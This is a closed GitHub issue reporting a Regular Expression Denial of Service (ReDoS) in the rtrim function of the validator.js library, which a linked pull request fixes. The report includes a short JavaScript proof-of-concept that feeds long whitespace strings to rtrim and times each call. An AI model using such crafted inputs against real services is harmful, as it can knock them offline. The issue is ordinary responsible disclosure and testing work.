Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

ReDoS in rtrim #1599

Closed
yetingli opened this issue Feb 9, 2021 · 0 comments · Fixed by #1603
Closed

ReDoS in rtrim #1599

yetingli opened this issue Feb 9, 2021 · 0 comments · Fixed by #1603
Labels

Comments

@yetingli
Copy link

yetingli commented Feb 9, 2021

Describe the bug
It allows cause a Regular Expression Denial of Service (REDoS) when calling rtrim.

Examples

var validator = require("validator")
function build_attack(n) {
	var ret = ""
	for (var i = 0; i < n; i++) {
		ret += " "
	}

	return ret+"◎";
}
for(var i = 1; i <= 50000; i++) {
    if (i % 10000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i)
       validator.rtrim(attack_str)
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
   }
}

Additional context
Validator.js version: 14.10.0
Node.js version:
OS platform: windows

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

Successfully merging a pull request may close this issue.

1 participant